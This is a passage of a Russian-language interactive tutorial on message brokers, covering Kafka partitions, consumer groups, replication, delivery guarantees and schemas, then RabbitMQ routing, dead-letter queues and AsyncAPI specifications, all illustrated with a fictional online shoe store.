Получатель может быть выключен. Склад перезапускается две минуты — заказы продолжают приниматься, сообщения ждут. Отправителю не нужно, чтобы получатель был жив прямо сейчас.
2. Развязка по знанию
Отправитель не знает, кто получатели и где они живут. Через год появится сервис бонусов — в коде заказов не изменится ни строчки. Бонусы просто начнут читать.
3. Сглаживание пиков
Брокер работает как водохранилище. В полночь приходит в двадцать раз больше заказов, а склад разбирает их в своём темпе. Отказ превращается в задержку.
4. Одно событие — многим
Одно сообщение «Заказ оформлен» читают четыре сервиса. Отправитель публикует его один раз, а не звонит четырежды.
Пик Чёрной пятницы: посчитайте сами
Склад умеет резервировать фиксированное число заказов в минуту. В обычное время приходит 100 заказов в минуту. С 00:05 до 00:15 — пик. Двигайте ползунки и переключайте способ связи. Столбики — минуты с 00:00 до 00:40.
OrderPlaced в брокер и отвечает покупателю, не дожидаясь обработки. Пиковая нагрузка — до 2 000 заказов в минуту в течение 15 минут; задержка резервирования на складе в пике — не более 10 минут, вне пика — не более 5 секунд (p99).»глава 2 · три способа доставки почтовое отделение, доска объявлений или журнал регистрации
Брокеры бывают разные, но почти все они — вариации трёх бытовых идей. Разница в двух вопросах: сколько получателей у одного сообщения и что с ним происходит после прочтения.
Попробуйте все три
Заказы публикуют сообщения, а три сервиса их читают. Переключайте режим, нажимайте кнопки и смотрите, кто что получил. Особенно интересны две последние кнопки: «перечитать» и «новый подписчик».
хранилище брокера
кто что получил
Как это устроено у разных брокеров
| Брокер | Очередь (одному) | Pub/sub (всем) | Журнал (с историей) |
|---|---|---|---|
| Kafka | консьюмер-группа: внутри группы каждое сообщение читает один; share groups (Kafka 4.2+) | разные группы читают один топик независимо | основа всего: топик — это журнал |
| RabbitMQ | очередь — основа всего | обменник fanout или topic: копия в каждую привязанную очередь | потоки (streams), с версии 3.9 |
| Облако AWS | SQS | SNS; SNS → несколько SQS = «раздача в очереди» | Kinesis Data Streams, Amazon MSK (управляемая Kafka) |
| Google Cloud | одна подписка Pub/Sub и несколько читателей | несколько подписок на одну тему | хранение и «перемотка» подписки (seek) по времени |
глава 3 · Kafka изнутри топик, партиция, смещение: как журнал лежит на диске
Для Чёрной пятницы Борис выбрал Kafka: событие «Заказ оформлен» читают четыре сервиса, аналитика иногда перечитывает историю, а поток большой. Начнём с того, из чего Kafka состоит. Kafka — это кластер из нескольких серверов-брокеров (обычно от трёх). Внутри — журналы.
orders.events — все события заказов. Продюсер пишет в топик, консьюмеры читают из топика.Как партиция лежит на диске
segment.bytes (по умолчанию 1 ГиБ) или возраста segment.ms (по умолчанию 7 суток), его закрывают и начинают новый. Закрытые сегменты больше не меняются и удаляются целиком./var/lib/kafka/data/orders.events-0/ ← папка партиции 0 на одном брокере 00000000000000000000.log ← закрытый сегмент: сами сообщения, offset 0…1048575 00000000000000000000.index ← подсказка «offset → место в файле», чтобы не читать всё подряд 00000000000000000000.timeindex ← подсказка «время → offset», чтобы искать «с 00:00 пятницы» 00000000000001048576.log ← активный сегмент: имя = первый offset в нём, сюда дописывают 00000000000001048576.index 00000000000001048576.timeindex
Сколько хранить: удаление и компакция
retention.ms, по умолчанию 7 суток. По объёму: retention.bytes на одну партицию, по умолчанию без ограничения. Удаляется всегда целый закрытый сегмент, у которого самое свежее сообщение старше срока. Поэтому данные живут чуть дольше заданного.cleanup.policy=compact) — вместо удаления по сроку Kafka оставляет последнее сообщение для каждого ключа, а старые версии выбрасывает. Получается «текущее состояние» по каждому ключу: например, последний статус каждого заказа.delete.retention.ms (по умолчанию сутки), чтобы все читатели успели его увидеть, и потом исчезает.Ниже — партиция из трёх сегментов. Ключ — номер заказа, тело — его статус. Запустите компакцию, потом верните и «промотайте» 7 суток. Обратите внимание на смещения.
Когда удаление по сроку (delete)
Поток событий, где важна история за период: заказы, клики, платежи. Старое никому не нужно или уже лежит в хранилище аналитики.
Когда компакция (compact)
«Справочники» и состояния: профиль покупателя, последний статус заказа, цена товара. Новый сервис может прочитать топик с начала и получить текущее состояние всех ключей. Служебный топик __consumer_offsets, где Kafka хранит закладки, тоже компактный.
orders.events: срок хранения — 14 суток (нужен для повторной обработки после сбоев получателей и для догрузки аналитики). Топик customers.profile: компактный, ключ — идентификатор покупателя; удаление покупателя публикуется надгробием в течение 24 часов после запроса на удаление персональных данных.»глава 4 · ключ, порядок, группы куда попадёт сообщение и кто его прочтёт
Анна оформила заказ, оплатила его, а через минуту отменила. Это три события: «создан», «оплачен», «отменён». Если склад обработает «отменён» раньше «оплачен», он снимет резерв, а потом поставит его снова — и пара повиснет навсегда. Значит, события одного заказа (или одного покупателя) должны читаться строго по порядку. Kafka даёт порядок только внутри партиции. Как сделать, чтобы события Анны попали в одну партицию? С помощью ключа.
партиция = хеш(ключ) mod число_партиций. Одинаковый ключ — всегда одна и та же партиция, а значит, строгий порядок. Kafka считает хеш алгоритмом murmur2.Ключ = покупатель
Все события Анны — в одной партиции, строго по порядку. Разные покупатели — в разных партициях, обрабатываются параллельно. Обычно правильный выбор.
Случайный ключ
Нагрузка размазана идеально ровно, но события Анны разлетаются по разным партициям. Порядок между ними не гарантирован.
Без ключа
С версии 2.4 продюсер раскладывает такие сообщения «липко»: набивает пачку в одну партицию, потом переключается на другую. Хорошо для пачек и скорости, но порядка между сообщениями нет.
Куда попадёт ключ? Настоящая формула Kafka
Введите ключ — посчитаем тот же хеш murmur2, что и настоящий продюсер Kafka для строкового ключа, и найдём партицию. Потом поменяйте число партиций.
Консьюмер-группа: как разделить работу
Один экземпляр склада успевает 300 заказов в минуту, а в полночь их 2 000. Запускаем несколько экземпляров. Но как им поделить сообщения так, чтобы каждое обработал ровно один экземпляр и порядок не сломался?
group.id. Партиции топика делятся между ними: каждую партицию внутри группы читает ровно один консьюмер. Один консьюмер может читать несколько партиций. Разные группы читают один и тот же топик независимо, каждая со своими закладками.__consumer_offsets. Коммитят номер следующего сообщения, а не последнего обработанного.последнее смещение в партиции − закоммиченное смещение группы. Главная метрика здоровья консьюмера.Как бывает устроена ребалансировка
«Жадная» (eager) — старый способ
Все консьюмеры группы отдают все партиции, ждут новой раздачи и только потом продолжают. Вся группа стоит, даже если переехала одна партиция. Отсюда прозвище «остановка мира» (stop-the-world).
Кооперативная (cooperative incremental)
С Kafka 2.4: консьюмеры отдают только те партиции, которые действительно переезжают. Остальные продолжают работать. Включается выбором распределителя CooperativeStickyAssignor.
Новый протокол групп (KIP-848)
В Kafka 4.0 готов к продакшену. Раздачу считает брокер-координатор группы, а консьюмеры получают изменения мелкими шагами через «сердцебиения» (heartbeat), без общей остановки. На клиенте: group.protocol=consumer. Секвенс — в главе 9.
Статическое членство
Консьюмеру дают постоянное имя group.instance.id. Перезапуск при выкладке, если он короче тайм-аута сессии, не вызывает ребалансировку: группа ждёт «того же» консьюмера. Удобно в Kubernetes.
session.timeout.ms (по умолчанию 45 секунд) — считается мёртвым. А если консьюмер жив, но не просит новые сообщения (poll) дольше max.poll.interval.ms (по умолчанию 5 минут), его тоже выгоняют: «завис в обработке». Классическая авария: пачка из 500 сообщений обрабатывается 6 минут → консьюмера выгоняют → его пачку отдают другому → тот тоже не успевает → бесконечная ребалансировка. Лечится уменьшением max.poll.records или ускорением обработки.OrderPlaced/OrderPaid/OrderCancelled — идентификатор покупателя (customerId). Требуется порядок обработки событий в пределах одного покупателя; порядок между разными покупателями не требуется. Число партиций — 12, чтобы группу склада можно было масштабировать до 12 экземпляров.»глава 5 · главный пульт живая Kafka: заказы, партиции и группа склада
Это модель топика orders.events и консьюмер-группы stock (склад). Слева — сервис заказов: он публикует события заказов шести покупателей (цвет и буква — покупатель, цифра — номер события покупателя: А3 — третье событие Анны). В середине — партиции: новые сообщения прилетают справа, старые уходят влево. Справа — консьюмеры склада. Каждый успевает около 3 сообщений в секунду, у всех немного разная скорость — как в жизни.
Нажмите «▶ Запустить поток», потом ломайте: убивайте консьюмеров, добавляйте новых, меняйте ключ, включайте «горячий ключ». Под схемой пульт объясняет, почему картина такая. Время в модели идёт быстрее: тайм-аут сессии консьюмера здесь 1,5 секунды вместо 45.
ключ сообщения поток заказов ребалансировкаЧто попробовать
глава 6 · продюсер как сервис заказов отправляет сообщения: пачки, сжатие, подтверждения
Кажется, что продюсер просто вызывает send(). На деле внутри него целый маленький конвейер. Сообщение сериализуется в байты, для него выбирается партиция, оно кладётся в пачку, пачка сжимается и улетает на брокер-лидер этой партиции. Потом продюсер ждёт ответа и, если надо, повторяет. Разберём по шагам.
batch.size — предельный размер пачки (по умолчанию 16 КБ). linger.ms — сколько подождать «попутчиков», если пачка ещё не полна. С Kafka 4.0 по умолчанию 5 мс (раньше было 0).compression.type): none (по умолчанию), gzip, snappy, lz4, zstd. Сжимается пачка целиком, поэтому чем больше пачка, тем лучше сжатие. Брокер обычно хранит данные сжатыми, а распаковывает уже консьюмер. Выигрыш — в сети и на дисках, плата — процессор продюсера и консьюмера.acks) — чего ждёт продюсер, прежде чем считать сообщение записанным. acks=0 — ничего не ждёт: отправил и забыл. acks=1 — ждёт, пока лидер партиции записал к себе. acks=all (он же -1) — ждёт, пока запись есть у всех синхронных копий. С Kafka 3.0 по умолчанию all. Подробно — в главе 7, там же можно убить лидера.acks=0 — бросили в ящик и ушли. acks=1 — почтальон расписался, что принял. acks=all — почтальон принял, а вы дождались, когда копии квитанции лягут в три разных отделения.Пачки на ползунках
Посмотрите, как linger.ms и batch.size меняют число запросов и задержку. Модель упрощённая: при linger.ms=0 в пачку попадает то, что успело накопиться за время полёта предыдущего запроса (примем 2 мс). Степень сжатия для типичного JSON условная — настоящую меряйте на своих данных.
Повторы и идемпотентный продюсер
Сеть моргнула: продюсер отправил пачку, брокер её записал, а ответ потерялся. Продюсер не знает, дошло ли, и повторяет. Без защиты в партиции окажутся две копии заказа Анны.
retries). По умолчанию продюсер повторяет почти бесконечно, но не дольше delivery.timeout.ms — 2 минуты на всё про всё. Потом send() завершается ошибкой, и её надо обработать в коде.enable.idempotence=true, по умолчанию с Kafka 3.0) — продюсер получает от кластера номер (producer ID) и нумерует свои сообщения в каждой партиции: 0, 1, 2… Брокер помнит последние номера и молча отбрасывает повтор уже записанного. Заодно сохраняется порядок, даже если в полёте до 5 запросов сразу (max.in.flight.requests.per.connection ≤ 5).transactional.id (глава 8) и идемпотентность на стороне получателя.Что летит по проводу: настройки продюсера «Ботинка»
bootstrap.servers = kafka-1:9092,kafka-2:9092,kafka-3:9092 # с кого начать знакомство с кластером key.serializer = StringSerializer # ключ — id покупателя, строка value.serializer = KafkaAvroSerializer # тело — по схеме из реестра (глава 10) acks = all # ждать все синхронные копии enable.idempotence = true # повторы без дублей linger.ms = 10 # подождать попутчиков до 10 мс batch.size = 65536 # пачка до 64 КБ compression.type = zstd # сжимать пачки delivery.timeout.ms = 120000 # 2 минуты на все попытки, потом ошибка buffer.memory = 33554432 # 32 МБ очереди в памяти продюсера (по умолчанию) max.block.ms = 60000 # сколько send() может ждать, если буфер полон
send() асинхронный: он сразу возвращает «обещание» (Future), а ошибка приходит позже в обратный вызов (callback). Если результат не проверять, недоставленное сообщение молча пропадёт. А если брокеры недоступны дольше, чем помещается в буфер, send() начнёт блокировать поток сервиса заказов — и покупатель увидит тормоза. Решение для важных событий — transactional outbox: сначала событие пишется в свою базу, потом надёжно публикуется.OrderPlaced: подтверждение от всех синхронных реплик (acks=all), идемпотентный продюсер включён. Недоставленные за 2 минуты события не теряются: они остаются в таблице outbox и публикуются повторно; алерт при возрасте самой старой неотправленной записи больше 5 минут.»глава 7 · реплики и лидер что будет с заказами, если брокер умрёт посреди записи
00:07. На одном из трёх брокеров Kafka сгорел блок питания. На нём был лидер партиции 3 топика orders.events. Потеряем ли мы заказы, которые продюсер уже считает записанными? Ответ зависит от трёх настроек. Сначала слова.
replication.factor=3 — три копии на трёх разных брокерах. Для продакшена почти всегда 3.replica.lag.time.max.ms (по умолчанию 30 секунд), и возвращается, когда догонит.acks=all. Если синхронных реплик меньше, продюсер получает ошибку NOT_ENOUGH_REPLICAS: «записать не могу — ненадёжно». По умолчанию 1, в продакшене обычно 2 при трёх копиях.unclean.leader.election.enable) — разрешить лидером стать реплике не из ISR, если синхронных не осталось. Партиция оживает быстрее, но всё, чего не было у отставшей реплики, теряется — в том числе подтверждённые сообщения. По умолчанию выключено.Кто назначает нового лидера: контроллер и KRaft
__cluster_metadata. Отдельный ZooKeeper больше не нужен — в Kafka 4.0 (март 2025) поддержку ZooKeeper удалили совсем.Убейте лидера сами
Партиция orders.events-3, три копии: брокер 1 — лидер, брокеры 2 и 3 — фолловеры. Брокер 2 догоняет лидера за один шаг, брокер 3 — за два. Продюсер отправляет пять заказов. Выберите настройки, нажмите «▶» и в любой момент — «💥 Убить лидера». Или сразу жмите «⚡» — лидер умрёт в самый неудобный момент.
—
Сводка комбинаций
Нажмите на строку, чтобы раскрыть подробности. Все строки — при трёх копиях.
replication.factor=3, min.insync.replicas=2, acks=all, нечистые выборы выключены. Переживаем падение одного брокера без потери данных и без остановки записи. Упадут два — запись остановится с понятной ошибкой, но ничего подтверждённого не пропадёт. Ещё надёжнее — раскладывать копии по разным стойкам или зонам доступности (broker.rack), чтобы один пожар не забрал все три.orders.events: 3 реплики в трёх зонах доступности, min.insync.replicas=2, продюсер с acks=all. Допустима остановка записи при одновременной недоступности двух зон; продюсер при этом сохраняет события в outbox.»глава 8 · семантики доставки сколько раз Анна получит SMS: ноль, один или два
Сервис уведомлений читает события «Заказ оплачен» и шлёт SMS. Консьюмер делает две вещи: обрабатывает сообщение (шлёт SMS) и коммитит смещение (двигает закладку). Между ними всегда есть щель. Если сервис упадёт в этой щели, всё решает порядок: что было первым.
Не больше одного раза (at-most-once)
Сначала коммит, потом обработка. Упали посередине — сообщение пропало. Зато дублей нет. Годится для некритичного: метрики, логи кликов.
Хотя бы один раз (at-least-once)
Сначала обработка, потом коммит. Упали посередине — после перезапуска обработаем ещё раз. Ничего не теряется, но бывают дубли. Самый частый выбор.
Ровно один раз (exactly-once)
Эффект такой, будто сообщение обработано ровно один раз, даже при сбоях. Честно достижимо в двух случаях: всё внутри Kafka (транзакции) или идемпотентный получатель.
Уроните консьюмер сами
Консьюмер уведомлений получил пачку из пяти событий «Заказ оплачен» (смещения 10–14) — для Анны, Бориса, Веры, Глеба и Дины. Выберите способ коммита и момент падения и пройдите по шагам.
способ коммита—
Как Kafka делает «ровно один раз» и где это кончается
Внутри Kafka «ровно один раз» собирается из трёх кирпичей. Все три нужны одновременно:
1. Идемпотентный продюсер
Повтор отправки не создаёт дубль в партиции (глава 6).
2. Транзакции
Продюсер с постоянным transactional.id пишет результаты в несколько топиков и коммитит смещения входного топика одной атомарной операцией: всё или ничего.
3. read_committed у читателей
Консьюмеры с isolation.level=read_committed не видят сообщения прерванных и ещё не завершённых транзакций. По умолчанию стоит read_uncommitted — о нём часто забывают.
__transaction_state. В Kafka Streams всё это включается одной настройкой processing.guarantee=exactly_once_v2.Идемпотентный потребитель: как это выглядит в базе
Для всего, что за границей Kafka, работает одно средство: получатель узнаёт повтор и не делает работу второй раз. Ключ идемпотентности — eventId из сообщения. Отметка «обработано» пишется в той же транзакции базы, что и сама работа. Это приём inbox из раздела Outbox и CDC.
BEGIN;
INSERT INTO processed_events(event_id, processed_at)
VALUES ('evt-91af', now())
ON CONFLICT (event_id) DO NOTHING; -- вставилось 0 строк? значит, уже обрабатывали:
-- ROLLBACK и сразу коммит смещения, работу не повторяем
UPDATE stock SET reserved = reserved + 1
WHERE sku = 'SKU-42' AND size = 42; -- сама работа склада
COMMIT;
-- и только после COMMIT базы — коммит смещения в Kafka.
-- Упали между ними? Сообщение придёт снова, INSERT вернёт 0 строк, резерв не удвоится.
eventId передают как ключ идемпотентности в их API — если провайдер это умеет. Если не умеет, честно пишут в требованиях: «в редких случаях возможна повторная SMS».eventId: повторная доставка не приводит к повторному резерву, списанию или начислению бонусов. Для SMS допускается повторная отправка не чаще чем в 0,1 % случаев.»глава 9 · по проводу пять секвенсов: кто кому что отправил
Секвенс — схема «кто кому что отправил и когда», время идёт сверху вниз. Здесь пять главных разговоров Kafka с шагами, как они идут по сети. Выберите разговор и жмите «Дальше →» или сразу на стрелки. У каждого шага — подробное пояснение и что будет, если на нём всё сломается. Под секвенсом — что летит по проводу.
Что летит по проводу
глава 10 · схемы и экосистема о чём договорились продюсер и консьюмеры, и что вокруг Kafka
Ноябрь, за две недели до пятницы. Борис переименовал в событии поле total в amount и выкатил сервис заказов. Через минуту аналитика начала писать в отчёт нули, а склад упал с ошибкой разбора. Kafka тут ни при чём: ей всё равно, что в байтах. Договор о содержимом сообщений — дело схем.
Avro
Компактный двоичный формат, самый частый в паре с Kafka. Без схемы данные не прочитать. Правила эволюции строгие и понятные: новое поле — со значением по умолчанию.
Protobuf
Двоичный формат Google. Поля узнаются по номерам, а не по именам: переименовать можно, а вот менять или повторно использовать номер поля — нельзя.
JSON Schema
Обычный JSON плюс описание-проверка. Читается глазами, удобно отлаживать, но больше по размеру и медленнее разбирается.
как выглядит сообщение в Kafka с реестром схем (формат Confluent):
[0x00] [00 00 00 2A] [ …двоичные данные Avro… ]
│ │
│ └─ 4 байта: номер схемы в реестре (здесь 42)
└─ «магический» байт 0: формат с реестром
реестры: Confluent Schema Registry, Apicurio Registry, Karapace — у них совместимые API
Совместимость: какое изменение пропустит реестр
BACKWARD — назад
Новая схема умеет читать данные, записанные старой. Значит, сначала обновляем консьюмеров, потом продюсера. Режим по умолчанию в Confluent Schema Registry.
FORWARD — вперёд
Старая схема умеет читать данные, записанные новой. Значит, сначала обновляем продюсера, консьюмеры подтянутся потом.
FULL — в обе стороны
И то и другое. Обновлять можно в любом порядке. Есть ещё варианты *_TRANSITIVE — проверка против всех прошлых версий, а не только последней, и NONE — без проверки.
Выберите изменение схемы OrderPlaced (формат Avro) и режим совместимости. Реестр ответит, пропустит ли он новую версию, и почему.
Kafka Connect и Debezium: данные без своего кода
{
"name": "orders-outbox",
"config": {
"connector.class": "io.debezium.connector.postgresql.PostgresConnector",
"database.hostname": "orders-db",
"database.dbname": "orders",
"plugin.name": "pgoutput", ← встроенный в PostgreSQL декодер логической репликации
"table.include.list": "public.outbox", ← читаем только таблицу исходящих событий
"topic.prefix": "orders",
"transforms": "outbox",
"transforms.outbox.type": "io.debezium.transforms.outbox.EventRouter"
} ← превращает строку outbox в «чистое» событие
}
orders.events на лету. Похожие инструменты — Apache Flink и ksqlDB.orders.events хранятся в реестре схем, формат Avro, режим совместимости BACKWARD_TRANSITIVE. Изменения схемы проходят проверку совместимости в CI до выкладки. Удаление или переименование поля — только через новую версию события (OrderPlacedV2) и период параллельной публикации не менее 30 дней.»глава 11 · RabbitMQ сортировочный центр: обменники, привязки, очереди
Уведомлениями в «Ботинке» занимается RabbitMQ. Там не нужна история на две недели. Зато нужна гибкая маршрутизация: SMS — только московским покупателям (у курьерской службы Москвы своя SMS-интеграция), письма — всем, аналитике — всё подряд. И поштучная работа с каждым сообщением: подтвердить, отложить, выбросить в «неудачники». Это стихия RabbitMQ.
order.paid.msk.| Тип обменника | Как выбирает очереди | Пример привязки |
|---|---|---|
| direct | ключ сообщения совпадает с ключом привязки точно | order.paid |
| topic | по шаблону: * — ровно одно слово, # — ноль или больше слов | order.created.*, order.# |
| fanout | всем привязанным очередям, ключ не смотрит | — |
| headers | по заголовкам сообщения: x-match=all — все совпали, any — хотя бы один | event=paid, city=msk |
Маршрутизатор вживую
Выберите тип обменника и ключ, нажмите «Опубликовать» — сообщение прилетит в обменник, а его копии полетят по подходящим привязкам. Зелёная привязка — совпала, бледная — нет. Для topic можно ввести свой ключ.
ключ маршрутизацииПодтверждения, prefetch, TTL и «неудачники»
requeue=true сообщение возвращается в очередь и будет выдано снова. С requeue=false — выбрасывается или уходит в DLX.basic.qos, prefetch count) — сколько неподтверждённых сообщений консьюмер может держать у себя одновременно. Маленький — работа раздаётся ровно, но больше простоев на сети. Большой — быстрее, но один жадный консьюмер забирает всё, а остальные курят. Обычно десятки–сотни, подбирают замером.x-message-ttl у всей очереди или expiration у отдельного сообщения. Протухшее сообщение удаляется или уходит в DLX. Ещё бывает лимит длины очереди x-max-length: при переполнении выбрасываются самые старые (по умолчанию) или новые публикации отклоняются.rejected), если истёк TTL (expired), если очередь переполнена (maxlen) или если превышен лимит доставок (delivery_limit). Задаётся аргументом очереди x-dead-letter-exchange или политикой. Из DLX сообщение попадает в очередь неудачников (DLQ), где его разбирает человек или отдельный обработчик.Очередь notify.sms и её DLX. Отправьте битое сообщение (пустой номер телефона — SMS-шлюз его никогда не примет) и посмотрите, что будет при разных настройках.
Очереди кворума и потоки: RabbitMQ 4.x
топология уведомлений «Ботинка» (как её объявляет сервис при старте):
exchange orders.topic type=topic durable=true
exchange notify.dlx type=fanout durable=true
queue notify.sms x-queue-type=quorum
x-dead-letter-exchange=notify.dlx
x-delivery-limit=5 ← после 5 доставок — в DLX
queue notify.email x-queue-type=quorum
x-message-ttl=3600000 ← письмо старше часа уже не нужно
queue notify.sms.dlq x-queue-type=quorum
binding orders.topic → notify.sms key "order.paid.msk"
binding orders.topic → notify.email key "order.#"
binding notify.dlx → notify.sms.dlq
consumer notify.sms: prefetch=20, ручные ack
Когда RabbitMQ удобнее Kafka
👍 RabbitMQ
Задачи-команды («отправь письмо», «сделай миниатюру») с поштучным подтверждением. Сложная маршрутизация по ключам и заголовкам. Приоритеты. Отложенные повторы через TTL и DLX. Много мелких очередей (например, по очереди на клиента). Небольшой поток с низкой задержкой. Работа «раздай по одной свободному обработчику» при любом числе обработчиков.
👍 Kafka
События, которые читают многие и независимо. Перечитывание истории. Огромный поток: сотни тысяч сообщений в секунду. Порядок по ключу. Потоковая обработка (Kafka Streams, Flink). Захват изменений из баз (Debezium). Долгое хранение и «источник правды» для аналитики.
SendSms публикуется в обменник orders.topic с ключом order.<событие>.<город>. Очередь notify.sms — очередь кворума; после 5 неудачных доставок сообщение переносится в notify.sms.dlq. Дежурный получает алерт, если в DLQ больше 10 сообщений или самое старое старше 30 минут; разбор DLQ — в течение рабочего дня.»глава 12 · другие брокеры NATS, Redis Streams, облачные очереди
Kafka и RabbitMQ — самые известные, но не единственные. Часто лучший брокер — тот, что уже есть у вашего облака или уже крутится в вашей инфраструктуре. Нажмите на строку таблицы, чтобы раскрыть подробности.
глава 13 · паттерны и грабли что ломается в жизни и как это чинят
00:20. Лаг в группе склада растёт, но только в партиции 4. Уведомления застряли на одном сообщении. Аналитика просит «положить в событие PDF-чек». Каждая беда здесь — типовая, и у каждой есть типовое лечение.
Порядок против параллелизма
Порядок в Kafka есть только внутри партиции, а партицию в группе читает один консьюмер. Значит, чем строже порядок, тем меньше параллелизма. Одна партиция на весь топик — идеальный порядок и один работник. Порядок «по покупателю» — параллелизм до числа партиций. Порядок не нужен — можно параллелить внутри консьюмера или взять группы-очереди (share groups). Если внутри одной партиции обработка медленная, консьюмер может обрабатывать сообщения разных ключей параллельно в нескольких потоках, сохраняя порядок внутри ключа — так устроены библиотеки вроде Confluent Parallel Consumer.
Горячая партиция
У «Ботинка» это оптовый партнёр «ОптОбувь», который шлёт тысячи заказов под одним customerId. Лечение: составной ключ (партнёр + номер заказа — если порядок нужен в пределах заказа, а не партнёра); «соль» в ключе (partner-777#3, где 3 — остаток от номера заказа) с последующей сборкой; отдельный топик для крупного клиента. Посмотреть вживую — кнопка «🔥 Горячий ключ» в главе 5.
Ядовитое сообщение, повторы и DLQ
В RabbitMQ такое сообщение крутится по кругу при requeue=true. В Kafka хуже: консьюмер не может «пропустить и вернуться позже» — смещение одно на партицию. Он застревает, и вся партиция за этим сообщением стоит. Лечение: ограниченное число попыток, затем перенос в отдельный топик и движение дальше.
orders.events.retry-1m, оттуда через минуту в retry-10m, и только потом в orders.events.dlq. Основной поток идёт дальше. Плата — порядок: повтор обработается позже соседей. В Spring Kafka это готовая аннотация @RetryableTopic.Обратное давление
max.poll.records), и может временно остановить чтение партиций (pause() / resume()), если, например, база под ним перегружена. На стороне записи у Kafka есть квоты на продюсеров. В RabbitMQ — prefetch, лимит длины очереди с отказом в публикации (reject-publish) и автоматическое торможение публикующих соединений при нехватке памяти или диска.Квитанция вместо багажа (claim check)
message.max.bytes), в SQS — 1 МиБ (с августа 2025, раньше 256 КиБ).{
"eventId": "evt-5c20",
"eventType": "ReceiptIssued",
"orderId": "ord-77",
"receipt": {
"url": "s3://botinok-receipts/2026/11/27/ord-77.pdf", ← квитанция на «багаж»
"sizeBytes": 184320,
"sha256": "9f2c…e41a" ← чтобы проверить, что файл тот самый
}
}
Сколько партиций брать: калькулятор
Партиции — единица параллелизма и масштабирования. Слишком мало — упрётесь в потолок консьюмеров и в скорость записи одной партиции. Слишком много — больше файлов, памяти, дольше ребалансировки и переизбрание лидеров при сбое. А увеличивать потом больно (глава 4). Прикиньте для «Ботинка». Скорость записи в одну партицию сильно зависит от железа и настроек — замерьте у себя и подставьте.
глава 14 · эксплуатация дежурная Вера и её приборная панель
В ночь Чёрной пятницы дежурит Вера, инженер эксплуатации. Её задача — заметить беду раньше покупателей. На что она смотрит?
📈 Лаг консьюмеров
Главная метрика. Смотрят и в сообщениях, и во времени: «самое старое необработанное сообщение записано 4 минуты назад». Время понятнее бизнесу и не зависит от потока. Алерт — на устойчивый рост, а не на разовый всплеск.
🧩 Реплики
UnderReplicatedPartitions — партиции, у которых не все копии синхронны. UnderMinIsrPartitionCount — партиции, куда запись с acks=all уже не принимается. OfflinePartitionsCount — партиции без лидера: авария.
💽 Диски
Объём = поток × срок хранения × число копий. Кончился диск — брокер перестаёт работать с этим каталогом данных. Алерт на заполнение заранее, а срок хранения считают калькулятором, а не «на глаз».
🔄 Ребалансировки
Частота и длительность. Частые ребалансировки — признак долгой обработки (превышен max.poll.interval.ms), нестабильных консьюмеров или деплоев без статического членства.
📐 Версии схем
Режим совместимости в реестре, проверка схем в CI до выкладки, старые версии не удаляются, пока их читают. Номер версии схемы — в логах консьюмера при ошибке разбора.
🐇 RabbitMQ
Длина очередей и число неподтверждённых (unacked) сообщений, скорости публикации, доставки и подтверждения, размер DLQ. Тревоги по памяти и диску: при них RabbitMQ блокирует публикующие соединения — продюсеры «зависают».
Так Вера смотрит лаг группы склада из командной строки:
$ kafka-consumer-groups.sh --bootstrap-server kafka-1:9092 --describe --group stock GROUP TOPIC PARTITION CURRENT-OFFSET LOG-END-OFFSET LAG CONSUMER-ID HOST CLIENT-ID stock orders.events 0 182310 182318 8 stock-1-6f1c… /10.0.3.21 stock-1 stock orders.events 1 179902 179911 9 stock-1-6f1c… /10.0.3.21 stock-1 stock orders.events 2 181447 181450 3 stock-2-a93e… /10.0.3.22 stock-2 stock orders.events 3 180022 180029 7 stock-2-a93e… /10.0.3.22 stock-2 stock orders.events 4 143250 187904 44654 stock-3-11b0… /10.0.3.23 stock-3 ← вот она stock orders.events 5 182930 182936 6 stock-3-11b0… /10.0.3.23 stock-3 CURRENT-OFFSET — закоммиченная закладка группы, LOG-END-OFFSET — конец партиции, LAG — разница.
Прочитайте график лага
Четыре ночных графика лага. Что происходит? Решено 0 из 0.
Чек-лист перед Чёрной пятницей
глава 15 · для аналитика как Олег описывает асинхронную интеграцию
Аналитик Олег пишет постановку для нового сервиса бонусов, который будет читать события заказов. Раньше он описывал REST: адрес, метод, запрос, ответ (раздел «Проектирование API»). У асинхронной интеграции ответа нет, зато есть вопросы, которых у REST не бывает: какой ключ, какой порядок, сколько раз придёт, сколько хранится, что делать с битым сообщением.
Пример: событие «Заказ оформлен» в AsyncAPI 3
asyncapi: 3.0.0
info:
title: Сервис заказов «Ботинок» — события
version: 1.4.0
description: События жизненного цикла заказа. Владелец — команда «Заказы».
servers:
prod:
host: kafka-1.botinok.internal:9092
protocol: kafka
channels:
orderEvents:
address: orders.events # имя топика
messages:
orderPlaced:
$ref: '#/components/messages/OrderPlaced'
bindings:
kafka:
partitions: 12
replicas: 3
topicConfiguration:
cleanup.policy: ["delete"]
retention.ms: 1209600000 # 14 суток
bindingVersion: '0.5.0'
operations:
publishOrderPlaced:
action: send # сервис заказов ОТПРАВЛЯЕТ
channel:
$ref: '#/channels/orderEvents'
messages:
- $ref: '#/channels/orderEvents/messages/orderPlaced'
components:
messages:
OrderPlaced:
name: OrderPlaced
title: Заказ оформлен
contentType: application/json
payload:
$ref: '#/components/schemas/OrderPlaced'
bindings:
kafka:
key:
type: string
description: customerId — порядок событий одного покупателя
bindingVersion: '0.5.0'
schemas:
OrderPlaced:
type: object
required: [eventId, orderId, customerId, total, occurredAt]
properties:
eventId: { type: string, format: uuid, description: ключ идемпотентности }
orderId: { type: string }
customerId: { type: string }
total: { type: integer, description: сумма в копейках }
occurredAt: { type: string, format: date-time }
action: receive на тот же канал и привязкой groupId: bonus в операции.Что обязательно указать в постановке
| Вопрос | Пример ответа для «Ботинка» |
|---|---|
| Канал и владелец | топик orders.events, владелец — команда «Заказы» |
| Событие или команда | событие, прошедшее время: OrderPlaced — «заказ оформлен», а не «зарезервируй» |
| Ключ и порядок | ключ customerId; порядок нужен в пределах покупателя, глобальный — не нужен |
| Гарантия доставки | не менее одного раза; получатели идемпотентны по eventId |
| Объём и пики | обычно 2 события/с, пик 40 событий/с 15 минут; размер до 2 КБ |
| Задержка | от публикации до обработки складом ≤ 5 с (p99) вне пика, ≤ 10 мин в пике |
| Срок хранения | 14 суток; перечитывание с любого момента в пределах срока |
| Схема и эволюция | Avro в реестре схем, BACKWARD_TRANSITIVE; ломающие изменения — только новым типом события |
| Ошибки | 3 повтора с паузой, затем DLQ; владелец DLQ — команда получателя; разбор в течение рабочего дня |
| Персональные данные | в событии только customerId, без телефона и адреса; остальное получатель берёт по API профиля |
Частые ошибки в постановках
Нажмите на пункт, чтобы раскрыть: что не так и как написать правильно.
